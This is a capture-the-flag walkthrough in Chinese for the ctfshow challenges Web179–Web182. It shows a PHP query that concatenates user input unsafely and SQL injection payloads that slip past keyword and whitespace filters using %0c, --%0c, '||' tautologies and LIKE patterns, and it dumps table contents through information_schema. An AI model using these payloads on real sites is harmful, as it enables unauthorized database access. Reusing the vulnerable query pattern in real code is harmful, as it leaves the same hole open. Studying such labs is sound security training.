Web179

进入界面:
在这里插入图片描述

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

联合注入,但是要先测试过滤了哪些字符。
已知传入的id是单引号闭合形式,输入:

1' //提前闭合语句,能查询到数据。
1'--+ //返回无数据,说明注释符--+被过滤
1'%23 //成功返回数据

所以我们用%23作为注释语句后面部分的符号。

测试空格是否被过滤:

1' %23 //无数据,说明空格被过滤

//无数据
1'%09%23
1'%0a%23
1'%0d%23
1'/**/%23
1'+%23

//有数据
1'%0c%23

说明除%0c外的空格替换符号都被过滤。

1'%0corder%0cby%0c3%23

order by 查出字段数为3

-1'%0cunion%0cselect%0c1,2,3%23

union select 找到各个字段对应的回显位置。

之后的步骤没有其他被过滤的字符了,走流程即可:

-1'%0cunion%0cselect%0c1,2,database()%23
-1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'%23
-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'%23
-1'%0cunion%0cselect%0c1,2,group_concat(username,password)%0cfrom%0cctfshow_user%23

得到flag.

Web180

进入界面:
在这里插入图片描述

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

思路与上一题相同
查注释过滤:

1' //报错
1'--+ //返回无数据,说明注释符--+被过滤
1'%23 //无数据
1'--%0c //成功返回数据

所以我们用--%0c充当注释符。

查空格过滤:

1' --%0c //无数据

1'%0c--%0c //有数据

查字段数:

1'%0corder%0cby%0c3--%0c

字段数3

查字段回显位:

-1'%0cunion%0cselect%0c1,2,3--%0c

爆库:

-1'%0cunion%0cselect%0c1,2,database()--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c
-1'%0cunion%0cselect%0c1,2,group_concat(username,password)%0cfrom%0cctfshow_user--%0c

得到flag.

Web181

进入界面:

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

过滤了空格及其所有的替换字符
过滤了一些注释符
过滤了file,into,select

思路/EXP:

可以说是过滤了联合注入的手段.
直接查找username为flag的数据:

-1'or(username)='flag

//也可以
-1'||username='flag
-1'or(username)='flag'--%01
-1'||username='flag'--%01
-1'or(1)='1'--%01
-1'||1='1'--%01

得到flag.

Web182

进入界面:
在这里插入图片描述

审计

查询语句:

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

在上一题的基础上多过滤了flag

思路/EXP:

使用万能密码:

-1'||1='1'--%01

直接爆出整个表,得到flag.

也可以使用SQL中的like运算符:

SQL 中的 LIKE 是什么?

LIKE 运算符在 SQL 中用于寻找与特定模式相匹配的值。它使用通配符 %(百分号)和 _(下划线),允许您指定要搜索的值的特定部分。

百分号(%)

百分号匹配任何数量的字符。例如,LIKE ‘%john%’ 将匹配 john、john smith、johnny 等值。

下划线(_)

下划线匹配单个字符。例如,LIKE ‘j_hn’ 将匹配 john,但不会匹配 johnny。

-1'||`username`like'f% //注意这里username是用反引号包围的
-1'||`username`like'fla_
-1'||(username)like'fla_ //用括号包围也可以
-1'or(username)like'fla_ //当然可以使用or

得到flag.

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部